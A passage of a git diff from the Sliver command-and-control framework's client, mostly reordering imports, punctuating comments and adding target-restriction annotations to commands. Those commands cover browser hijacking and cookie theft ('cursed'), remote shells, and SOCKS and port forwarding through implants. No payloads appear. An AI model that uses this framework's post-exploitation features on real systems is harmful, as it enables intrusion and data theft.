help.GetHelpFor([]string{consts.Cursed}), + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), Run: func(cmd *cobra.Command, args []string) { CursedCmd(cmd, con, args) }, diff --git a/client/command/cursed/cursed-chrome.go b/client/command/cursed/cursed-chrome.go index 04cfa2146d..bc5ca88d7a 100644 --- a/client/command/cursed/cursed-chrome.go +++ b/client/command/cursed/cursed-chrome.go @@ -29,8 +29,6 @@ import ( "time" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/overlord" @@ -38,6 +36,7 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) var ( @@ -51,7 +50,7 @@ var ( cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking} ) -// CursedChromeCmd - Execute a .NET assembly in-memory +// CursedChromeCmd - Execute a .NET assembly in-memory. func CursedChromeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/cursed/cursed-console.go b/client/command/cursed/cursed-console.go index 046bb45308..a17862fd87 100644 --- a/client/command/cursed/cursed-console.go +++ b/client/command/cursed/cursed-console.go @@ -27,12 +27,11 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" - "github.com/reeflective/readline" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/overlord" + "github.com/reeflective/readline" + "github.com/spf13/cobra" ) func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { diff --git a/client/command/cursed/cursed-cookies.go b/client/command/cursed/cursed-cookies.go index 59859771d0..1e994a8b48 100644 --- a/client/command/cursed/cursed-cookies.go +++ b/client/command/cursed/cursed-cookies.go @@ -24,10 +24,9 @@ import ( "strings" "time" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/overlord" + "github.com/spf13/cobra" ) func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { diff --git a/client/command/cursed/cursed-edge.go b/client/command/cursed/cursed-edge.go index a83da8c2f3..412a7d5f29 100644 --- a/client/command/cursed/cursed-edge.go +++ b/client/command/cursed/cursed-edge.go @@ -21,21 +21,19 @@ package cursed import ( "context" "os" - "strings" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/overlord" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) -// CursedChromeCmd - Execute a .NET assembly in-memory +// CursedChromeCmd - Execute a .NET assembly in-memory. func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/cursed/cursed-electron.go b/client/command/cursed/cursed-electron.go index 1d11bc2422..caab611e7a 100644 --- a/client/command/cursed/cursed-electron.go +++ b/client/command/cursed/cursed-electron.go @@ -27,8 +27,6 @@ import ( "time" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/overlord" @@ -36,6 +34,7 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) func CursedElectronCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { diff --git a/client/command/cursed/cursed-rm.go b/client/command/cursed/cursed-rm.go index 3220557f23..c2e5dcee7f 100644 --- a/client/command/cursed/cursed-rm.go +++ b/client/command/cursed/cursed-rm.go @@ -23,11 +23,10 @@ import ( "strconv" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) func CursedRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { diff --git a/client/command/cursed/cursed-screenshot.go b/client/command/cursed/cursed-screenshot.go index d6cc8dc4ca..d851a0d449 100644 --- a/client/command/cursed/cursed-screenshot.go +++ b/client/command/cursed/cursed-screenshot.go @@ -23,10 +23,9 @@ import ( "os" "time" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/overlord" + "github.com/spf13/cobra" ) func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { diff --git a/client/command/cursed/cursed.go b/client/command/cursed/cursed.go index fe81219f6d..df34b76964 100644 --- a/client/command/cursed/cursed.go +++ b/client/command/cursed/cursed.go @@ -27,15 +27,14 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" ) -// CursedChromeCmd - Execute a .NET assembly in-memory +// CursedChromeCmd - Execute a .NET assembly in-memory. func CursedCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { // Collect existing curses from core cursedProcesses := [][]string{} @@ -71,7 +70,7 @@ func CursedCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } } -// selectCursedProcess - Interactively select a cursed process from a list +// selectCursedProcess - Interactively select a cursed process from a list. func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess { cursedProcesses := []*core.CursedProcess{} core.CursedProcesses.Range(func(key, value interface{}) bool { diff --git a/client/command/portfwd/commands.go b/client/command/portfwd/commands.go index 003c247443..629e56cfe6 100644 --- a/client/command/portfwd/commands.go +++ b/client/command/portfwd/commands.go @@ -1,27 +1,27 @@ package portfwd import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. func Commands(con *console.SliverConsoleClient) []*cobra.Command { portfwdCmd := &cobra.Command{ - Use: consts.PortfwdStr, - Short: "In-band TCP port forwarding", - Long: help.GetHelpFor([]string{consts.PortfwdStr}), + Use: consts.PortfwdStr, + Short: "In-band TCP port forwarding", + Long: help.GetHelpFor([]string{consts.PortfwdStr}), + GroupID: consts.NetworkHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), Run: func(cmd *cobra.Command, args []string) { PortfwdCmd(cmd, con, args) }, - GroupID: consts.NetworkHelpGroup, } flags.Bind("", true, portfwdCmd, func(f *pflag.FlagSet) { f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") diff --git a/client/command/portfwd/portfwd-add.go b/client/command/portfwd/portfwd-add.go index 36559441df..2b494cb9c2 100644 --- a/client/command/portfwd/portfwd-add.go +++ b/client/command/portfwd/portfwd-add.go @@ -25,16 +25,15 @@ import ( "regexp" "time" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/tcpproxy" + "github.com/spf13/cobra" ) var portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$") -// PortfwdAddCmd - Add a new tunneled port forward +// PortfwdAddCmd - Add a new tunneled port forward. func PortfwdAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/portfwd/portfwd-rm.go b/client/command/portfwd/portfwd-rm.go index ebcc5f5bda..8f940e4abb 100644 --- a/client/command/portfwd/portfwd-rm.go +++ b/client/command/portfwd/portfwd-rm.go @@ -19,13 +19,12 @@ package portfwd */ import ( - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" + "github.com/spf13/cobra" ) -// PortfwdRmCmd - Remove an existing tunneled port forward +// PortfwdRmCmd - Remove an existing tunneled port forward. func PortfwdRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { portfwdID, _ := cmd.Flags().GetInt("id") if portfwdID < 1 { diff --git a/client/command/portfwd/portfwd.go b/client/command/portfwd/portfwd.go index 82c667168b..abbd7b660a 100644 --- a/client/command/portfwd/portfwd.go +++ b/client/command/portfwd/portfwd.go @@ -23,28 +23,27 @@ import ( "sort" "strconv" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) -// PortfwdCmd - Display information about tunneled port forward(s) +// PortfwdCmd - Display information about tunneled port forward(s). func PortfwdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { PrintPortfwd(con) } -// PrintPortfwd - Print the port forward(s) +// PrintPortfwd - Print the port forward(s). func PrintPortfwd(con *console.SliverConsoleClient) { portfwds := core.Portfwds.List() if len(portfwds) == 0 { con.PrintInfof("No port forwards\n") return } - sort.Slice(portfwds[:], func(i, j int) bool { + sort.Slice(portfwds, func(i, j int) bool { return portfwds[i].ID < portfwds[j].ID }) @@ -67,7 +66,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) { con.Printf("%s\n", tw.Render()) } -// PortfwdIDCompleter completes IDs of local portforwarders +// PortfwdIDCompleter completes IDs of local portforwarders. func PortfwdIDCompleter(_ *console.SliverConsoleClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/client/command/rportfwd/commands.go b/client/command/rportfwd/commands.go index d2b35b6eb7..0f87656dad 100644 --- a/client/command/rportfwd/commands.go +++ b/client/command/rportfwd/commands.go @@ -1,27 +1,27 @@ package rportfwd import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. func Commands(con *console.SliverConsoleClient) []*cobra.Command { rportfwdCmd := &cobra.Command{ - Use: consts.RportfwdStr, - Short: "reverse port forwardings", - Long: help.GetHelpFor([]string{consts.RportfwdStr}), + Use: consts.RportfwdStr, + Short: "reverse port forwardings", + Long: help.GetHelpFor([]string{consts.RportfwdStr}), + GroupID: consts.NetworkHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), Run: func(cmd *cobra.Command, args []string) { RportFwdListenersCmd(cmd, con, args) }, - GroupID: consts.NetworkHelpGroup, } flags.Bind("", true, rportfwdCmd, func(f *pflag.FlagSet) { f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") diff --git a/client/command/rportfwd/portfwd-add.go b/client/command/rportfwd/portfwd-add.go index 55d8b00119..930f3f3800 100644 --- a/client/command/rportfwd/portfwd-add.go +++ b/client/command/rportfwd/portfwd-add.go @@ -23,15 +23,14 @@ import ( "fmt" "regexp" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) var portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$") -// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant +// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant. func StartRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/rportfwd/portfwd-rm.go b/client/command/rportfwd/portfwd-rm.go index 0d10f9b706..445f048b94 100644 --- a/client/command/rportfwd/portfwd-rm.go +++ b/client/command/rportfwd/portfwd-rm.go @@ -21,13 +21,12 @@ package rportfwd import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) -// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant +// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant. func StopRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/rportfwd/portfwd.go b/client/command/rportfwd/portfwd.go index 0afcdc7605..3cf929fcb7 100644 --- a/client/command/rportfwd/portfwd.go +++ b/client/command/rportfwd/portfwd.go @@ -23,17 +23,16 @@ import ( "fmt" "strconv" + "github.com/bishopfox/sliver/client/command/settings" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/jedib0t/go-pretty/v6/table" "github.com/rsteube/carapace" "github.com/spf13/cobra" "github.com/spf13/pflag" - - "github.com/bishopfox/sliver/client/command/settings" - "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant +// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant. func RportFwdListenersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { @@ -78,7 +77,7 @@ func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags con.Printf("%s\n", tw.Render()) } -// PortfwdIDCompleter completes IDs of remote portforwarders +// PortfwdIDCompleter completes IDs of remote portforwarders. func PortfwdIDCompleter(con *console.SliverConsoleClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/client/command/server.go b/client/command/server.go index aca2735397..f30aebe52f 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -21,9 +21,6 @@ package command import ( "os" - "github.com/reeflective/console" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/armory" "github.com/bishopfox/sliver/client/command/beacons" @@ -51,6 +48,8 @@ import ( "github.com/bishopfox/sliver/client/command/wireguard" client "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/reeflective/console" + "github.com/spf13/cobra" ) // ServerCommands returns all commands bound to the server menu, optionally diff --git a/client/command/shell/commands.go b/client/command/shell/commands.go index 4791cc8215..954d647712 100644 --- a/client/command/shell/commands.go +++ b/client/command/shell/commands.go @@ -1,26 +1,25 @@ package shell import ( - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. func Commands(con *console.SliverConsoleClient) []*cobra.Command { shellCmd := &cobra.Command{ - Use: consts.ShellStr, - Short: "Start an interactive shell", - Long: help.GetHelpFor([]string{consts.ShellStr}), + Use: consts.ShellStr, + Short: "Start an interactive shell", + Long: help.GetHelpFor([]string{consts.ShellStr}), + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), Run: func(cmd *cobra.Command, args []string) { ShellCmd(cmd, con, args) }, - GroupID: consts.ExecutionHelpGroup, - Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), } flags.Bind("", false, shellCmd, func(f *pflag.FlagSet) { f.BoolP("no-pty", "y", false, "disable use of pty on macos/linux") diff --git a/client/command/shell/shell.go b/client/command/shell/shell.go index f7c03fea70..3775367c44 100644 --- a/client/command/shell/shell.go +++ b/client/command/shell/shell.go @@ -25,13 +25,12 @@ import ( "log" "os" - "github.com/spf13/cobra" - "golang.org/x/term" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "golang.org/x/term" ) const ( @@ -40,7 +39,7 @@ const ( linux = "linux" ) -// ShellCmd - Start an interactive shell on the remote system +// ShellCmd - Start an interactive shell on the remote system. func ShellCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/sliver.go b/client/command/sliver.go index 0b9446b13c..3c4161ab2e 100644 --- a/client/command/sliver.go +++ b/client/command/sliver.go @@ -19,9 +19,6 @@ package command */ import ( - "github.com/reeflective/console" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/backdoor" @@ -50,6 +47,8 @@ import ( "github.com/bishopfox/sliver/client/command/wireguard" client "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/reeflective/console" + "github.com/spf13/cobra" ) // SliverCommands returns all commands bound to the implant menu. @@ -145,6 +144,7 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands { con.PrintErrorf("Failed to load extension: %s", err) continue } + extensions.ExtensionRegisterCommand(ext, sliver, con) } diff --git a/client/command/socks/commands.go b/client/command/socks/commands.go index 90f3571276..2768f24bbd 100644 --- a/client/command/socks/commands.go +++ b/client/command/socks/commands.go @@ -1,27 +1,27 @@ package socks import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. func Commands(con *console.SliverConsoleClient) []*cobra.Command { socksCmd := &cobra.Command{ - Use: consts.Socks5Str, - Short: "In-band SOCKS5 Proxy", - Long: help.GetHelpFor([]string{consts.Socks5Str}), + Use: consts.Socks5Str, + Short: "In-band SOCKS5 Proxy", + Long: help.GetHelpFor([]string{consts.Socks5Str}), + GroupID: consts.NetworkHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), Run: func(cmd *cobra.Command, args []string) { SocksCmd(cmd, con, args) }, - GroupID: consts.NetworkHelpGroup, } flags.Bind("", true, socksCmd, func(f *pflag.FlagSet) { f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") diff --git a/client/command/socks/socks-start.go b/client/command/socks/socks-start.go index 7922429305..9ecde46961 100644 --- a/client/command/socks/socks-start.go +++ b/client/command/socks/socks-start.go @@ -25,15 +25,13 @@ import ( "net" "time" - "gopkg.in/AlecAivazis/survey.v1" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" + "github.com/spf13/cobra" + "gopkg.in/AlecAivazis/survey.v1" ) -// SocksStartCmd - Add a new tunneled port forward +// SocksStartCmd - Add a new tunneled port forward. func SocksStartCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/socks/socks-stop.go b/client/command/socks/socks-stop.go index d6e21e2c13..00bd5f7868 100644 --- a/client/command/socks/socks-stop.go +++ b/client/command/socks/socks-stop.go @@ -21,14 +21,13 @@ package socks import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) -// SocksStopCmd - Remove an existing tunneled port forward +// SocksStopCmd - Remove an existing tunneled port forward. func SocksStopCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { socksID, _ := cmd.Flags().GetUint64("id") if socksID < 1 { diff --git a/client/command/socks/socks.go b/client/command/socks/socks.go index ae006d91b3..412f37acd7 100644 --- a/client/command/socks/socks.go +++ b/client/command/socks/socks.go @@ -23,23 +23,22 @@ import ( "sort" "strconv" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) -// SocksCmd - Display information about tunneled port forward(s) +// SocksCmd - Display information about tunneled port forward(s). func SocksCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { socks := core.SocksProxies.List() if len(socks) == 0 { con.PrintInfof("No socks5 proxies\n") return } - sort.Slice(socks[:], func(i, j int) bool { + sort.Slice(socks, func(i, j int) bool { return socks[i].ID < socks[j].ID }) @@ -59,7 +58,7 @@ func SocksCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin con.Printf("%s\n", tw.Render()) } -// SocksIDCompleter completes IDs of remote of socks proxy servers +// SocksIDCompleter completes IDs of remote of socks proxy servers. func SocksIDCompleter(_ *console.SliverConsoleClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/client/command/wasm/commands.go b/client/command/wasm/commands.go index 175eaed811..96fd6f29dc 100644 --- a/client/command/wasm/commands.go +++ b/client/command/wasm/commands.go @@ -1,14 +1,13 @@ package wasm import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/wasm/wasm.go b/client/command/wasm/wasm.go index 3abb990aa4..0b517ab97a 100644 --- a/client/command/wasm/wasm.go +++ b/client/command/wasm/wasm.go @@ -36,16 +36,16 @@ import ( ) // wasmMaxModuleSize - Arbitrary 1.5Gb limit to put us well under the 2Gb max gRPC message size -// this is also the *compressed size* limit, so it's pretty generous +// this is also the *compressed size* limit, so it's pretty generous. const ( gb = 1024 * 1024 * 1024 wasmMaxModuleSize = gb + (gb / 2) ) -// WasmCmd - session/beacon id -> list of loaded wasm extension names +// WasmCmd - session/beacon id -> list of loaded wasm extension names. var wasmRegistrationCache = make(map[string][]string) -// WasmCmd - Execute a WASM module extension +// WasmCmd - Execute a WASM module extension. func WasmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -120,7 +120,7 @@ func isRegistered(name string, cmd *cobra.Command, con *console.SliverConsoleCli return false } -// idOf - Quickly return the id of the current session or beacon +// idOf - Quickly return the id of the current session or beacon. func idOf(con *console.SliverConsoleClient) string { if con.ActiveTarget != nil { if session := con.ActiveTarget.GetSession(); session != nil { @@ -253,7 +253,7 @@ func registerWasmExtension(wasmFilePath string, cmd *cobra.Command, con *console return nil } -// WasmLsCmd - Execute a WASM module extension +// WasmLsCmd - Execute a WASM module extension. func WasmLsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { diff --git a/client/command/wireguard/commands.go b/client/command/wireguard/commands.go index daa4460539..dae1f74a09 100644 --- a/client/command/wireguard/commands.go +++ b/client/command/wireguard/commands.go @@ -1,14 +1,13 @@ package wireguard import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -39,14 +38,17 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { // SliverCommands returns all Wireguard commands that can be used on an active target. func SliverCommands(con *console.SliverConsoleClient) []*cobra.Command { wgPortFwdCmd := &cobra.Command{ - Use: consts.WgPortFwdStr, - Short: "List ports forwarded by the WireGuard tun interface", - Long: help.GetHelpFor([]string{consts.WgPortFwdStr}), + Use: consts.WgPortFwdStr, + Short: "List ports forwarded by the WireGuard tun interface", + Long: help.GetHelpFor([]string{consts.WgPortFwdStr}), + GroupID: consts.NetworkHelpGroup, + Annotations: flags.RestrictTargets( + consts.WireguardCmdsFilter, + consts.SessionCmdsFilter, + ), Run: func(cmd *cobra.Command, args []string) { WGPortFwdListCmd(cmd, con, args) }, - GroupID: consts.NetworkHelpGroup, - Annotations: flags.RestrictTargets(consts.WireguardCmdsFilter), } flags.Bind("wg portforward", true, wgPortFwdCmd, func(f *pflag.FlagSet) { f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") diff --git a/client/command/wireguard/wg-config.go b/client/command/wireguard/wg-config.go index 1568b51f04..7f08d3ec0a 100644 --- a/client/command/wireguard/wg-config.go +++ b/client/command/wireguard/wg-config.go @@ -28,10 +28,9 @@ import ( "strings" "text/template" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/spf13/cobra" ) var wgQuickTemplate = `[Interface] @@ -52,7 +51,7 @@ type wgQuickConfig struct { AllowedSubnet string } -// WGConfigCmd - Generate a WireGuard client configuration +// WGConfigCmd - Generate a WireGuard client configuration. func WGConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { wgConfig, err := con.Rpc.GenerateWGClientConfig(context.Background(), &commonpb.Empty{}) if err != nil { diff --git a/client/command/wireguard/wg-portfwd-add.go b/client/command/wireguard/wg-portfwd-add.go index c6817e38de..28899c94da 100644 --- a/client/command/wireguard/wg-portfwd-add.go +++ b/client/command/wireguard/wg-portfwd-add.go @@ -22,13 +22,12 @@ import ( "context" "net" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) -// WGPortFwdAddCmd - Add a new WireGuard port forward +// WGPortFwdAddCmd - Add a new WireGuard port forward. func WGPortFwdAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/wireguard/wg-portfwd-rm.go b/client/command/wireguard/wg-portfwd-rm.go index b732719fdf..05ad176013 100644 --- a/client/command/wireguard/wg-portfwd-rm.go +++ b/client/command/wireguard/wg-portfwd-rm.go @@ -23,14 +23,13 @@ import ( "fmt" "strconv" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) -// WGPortFwdRmCmd - Remove a WireGuard port forward +// WGPortFwdRmCmd - Remove a WireGuard port forward. func WGPortFwdRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { @@ -66,7 +65,7 @@ func WGPortFwdRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } } -// PortfwdIDCompleter completes IDs of WireGuard remote portforwarders +// PortfwdIDCompleter completes IDs of WireGuard remote portforwarders. func PortfwdIDCompleter(con *console.SliverConsoleClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/client/command/wireguard/wg-portfwd.go b/client/command/wireguard/wg-portfwd.go index e7eabd8db4..55614532ad 100644 --- a/client/command/wireguard/wg-portfwd.go +++ b/client/command/wireguard/wg-portfwd.go @@ -21,15 +21,14 @@ package wireguard import ( "context" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" ) -// WGPortFwdListCmd - List WireGuard port forwards +// WGPortFwdListCmd - List WireGuard port forwards. func WGPortFwdListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/wireguard/wg-socks-start.go b/client/command/wireguard/wg-socks-start.go index a9062faff2..4c3df6fc31 100644 --- a/client/command/wireguard/wg-socks-start.go +++ b/client/command/wireguard/wg-socks-start.go @@ -21,13 +21,12 @@ package wireguard import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) -// WGSocksStartCmd - Start a WireGuard reverse SOCKS proxy +// WGSocksStartCmd - Start a WireGuard reverse SOCKS proxy. func WGSocksStartCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == 